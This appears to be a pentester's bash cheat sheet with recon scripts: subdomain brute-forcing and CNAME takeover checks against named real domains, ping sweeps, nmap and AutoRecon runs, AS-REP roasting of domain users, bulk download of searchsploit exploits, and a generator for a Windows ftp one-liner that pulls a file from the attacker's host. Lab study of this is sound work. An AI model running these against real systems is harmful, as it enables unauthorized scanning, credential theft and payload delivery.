Bash Voodoo

#Figure out whether the last command worked or not

echo $? 

#Find out whether a given domain resolves

if host target.com; then echo “It Resolves”; fi

#enumerate subdomains

while read sub; do echo "$sub.sbtuk.net"; done < subdomains.txt

#touch a subdomains.txtseparetely, file contains:
admin
test
qa
dev
www
m
blog

#Bruteforce subdomains | chmod 777 and run

#!/bin/bash
while read sub; do
    if host $sub.yahoo.com; then
    echo "$sub.yahoo.com"
    
    fi
done < subdomains.txt    

#Resolving CNAMES script | cnames.sh

##Use the subdomains.txt list above to enumerate for hostile takeover##

#!/bin/bash

domain=$1
while read sub; do
         cname=$(host -t CNAME $sub.$domain | grep 'an alias' | awk '{print $NF}')
         
          if [ -z "$cname" ]; then
              continue
          fi 
          if ! host $cname &> /dev/null; then
              echo "$cname did not resolve ($sub.$domain)";
          fi
done                  
               

#Concatenate the scripts to bruteforce yahoo.com

cat subdomains.txt | ./cnames.sh yahoo.com 

#export IP variable

export IP=192.168.101.57
nmap -sC -sV -oA quick $IP

#Repeat the last command

!1

OR

!!

#Reverse-i search

press ctrl + r , then type dpkg (to look for dpkg in history)

#History tricks

export HISTCONTROL=ignoredups   #ignores duplicate commands

export HISTIGNORE="&:ls:[bf]g:exit:history" #ignores common commands

#Assign a command to a variable

user=$(whoami)

echo $user

#URL generator script

#!/bin/bash

for i in {tokyo,beijing,newyork,rome,bangkok,osaka}; do
   for j in {0..9}; do
      for k in {0..9}; do
         echo "http://example/com/$i/$j/$k" >> password.txt
      done
   done
done

#ping sweep script

#!/bin/bash

#if you do a ping-sweep with host the command will take about a second to complete. 
#And if you run that against 255 hosts I will take a long time to complete. To avoid this we can just deamonize every execution to make it faster.
#We #use the & to daemonize it.

#!/bin/bash

for ip in $(cat ips.txt); do
    ping -c 1 $ip &
done

#Print out all IPs in a given subnet

for ip in $(seq 1 10); do echo 10.11.1.$ip; done

#Variation with braces instead of seq to specify a range

for i in {0..255}; do echo 10.11.1.$i;done 

#Same output but using a while loop instead
-lt  flag stands for “less than”
(will print out 1 - 9 and exclude 10)


#!/bin/bash
# while loop example
counter=1
while [ $counter -lt 10 ]
do
echo "10.11.1.$counter"
((counter++))
done

#Create a list of hosts and redirect output to a list.txt
#This command will print out all possible addresses in Lab subnet 

for i in {0..254}; do echo 10.11.1.$i;done 


#Redirecting output to a file
for i in {1..10}; do echo 10.11.1.$i >> list.txt;done 

#wget a given target and use grep/bash to filter for subdomains

sudo wget www.megacorpone.com

#use grep “href=” to extract all the lines in index.html that contain HTML links

grep "href=" index.html

#beautify the output

grep "href=" index.html | grep "\.megacorpone" | grep -v "www\.megacorpone\.com" | awk -F "http://" '{print $2}' 

#using cut to only leave subdomains

grep "href=" index.html | grep "\.megacorpone" | grep -v "www\.megacorpone\.com" | awk -F "http://" '{print $2}' | cut -d "/" -f 1

#grep -o returns the string defined in the regular expression

grep -o '[^/]*\.megacorpone\.com' index.html | sort -u > list.txt

‘[^/]*\.megacorpone\.com’     this is the string we are looking for

#DNS recon scripts

for i in {0..255}; do echo 10.11.1.$i >> list.txt;done 

Then:

for url in $(cat list.txt); do host $url; done 

#Parse through output grepping for available addresses

for url in $(cat list.txt); do host $url; done | grep "has address" | cut -d " " -f 4 | sort -u


#Using curl

#Similar to wget technique but with curl

curl -s https://www.cisco.com | grep 'href=' | cut -d'/' -f3 | grep 'cisco.com' | cut -d'"' -f1 | sort -u > test

#Beautify output
curl -s https://www.cisco.com | grep -o '[A-Za-z0-9\._-]*\.*cisco\.com' | sort -u

#Parsing with grep
for url in $(curl -s https://www.cisco.com | grep -o '[A-Za-z0-9\._-]*\.*cisco\.com' | sort -u); do host $url | grep 'has address' | cut -d' ' -f4; done

#Running Autorecon against an entire subnet

#Use nmap sweep to check all ports

nmap -A --open 10.11.1.0/24 -oG Available_nmap-scan_10.11.1.1-254 

cat Available_nmap-scan_10.11.1.1-254 | grep -v "Nmap" | awk '{print $2}' | sort -u
 
#Redirect output to another file  --> targets.txt 
 
 
cat Available_nmap-scan_10.11.1.1-254 | grep -v "Nmap" | awk '{print $2}' | sort -u > targets.txt

autorecon targets.txt

#Workaround to use nmapAutomator against a subnet

for ip in $(cat targets.txt); do bash /usr/local/bin/nmapAutomator.sh --host $ip --type Full -o scan.txt & done

#Reverse lookup script

#!/bin/bash
 
i="1"
 
echo "Please enter first 3 octets. e.g 192.168.1"
read subnet
        while [ $i -le 254 ]; do
        host -l "$subnet"."$i"
        i=$(( $i + 1))
        done

#check ASREPRoast for all domain users (without credentials)

for user in $(cat users.txt); do GetNPUsers.py -no-pass -dc-ip 10.10.10.161 domain/${user} | grep -v Impacket; done

#Bash customization | edit /etc/bash.bashrc with root privileges

nano /etc/bash.bashrc

alias gobustLin = sudo gobuster dir -e u --url http://$ip/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,bak,html,txt,zip

#Search for a given exploit and download all matches

#!/bin/bash
#replace redcliff debian with keywords to search for
for e in $(searchsploit redcliff debian -w -t | grep http | cut -f 2 -d "|")
do
exp_name=$(echo $e | cut -d "/" -f 5) url=$(echo $e | sed 's/exploits/raw/')
wget -q --no-check-certificate $url -O $exp_name
done

#FTP script to spawn a one-liner for downloading

#!/bin/bash
#Outputs a one liner to paste into a Windows host to create and run a ftp script to download a given file.

# Text coloring
yellow='\033[1;33m'
red='\033[1;91m'
nc='\033[0m'

echo
echo -e "${yellow}This gives you a one liner to paste into a Windows host to create and run a ftp script."
echo

# change tun0 to your interface if needed
ip=$(ifconfig tun0 | grep inet | cut -d" " -f10 | head -1)
echo -e "Using IP address of tun0: $ip"
echo

echo -e "What port do you want the ftp server to run on? Hit enter for default of 21${nc}"
read port

if [[ -z "$port" ]];
	then
		ftpport="21"
	else
		ftpport="$port"
fi

echo
echo -e "${yellow}Enter the username: ${nc}"
read user
echo
echo -e "${yellow}Enter the password: ${nc}"
read pass

echo
echo -e "${yellow}What file do you want the remote host to download?${nc}"
read file

echo
echo -e "${yellow}Paste the below to create a ftp script and run it:${nc}"
echo
echo "echo open $ip $ftpport>ftp.txt&&echo $user>>ftp.txt&&echo $pass>>ftp.txt&&echo bin>>ftp.txt&&echo get $file>>ftp.txt&&echo bye>>ftp.txt&&ftp -s:ftp.txt"
echo

Last updated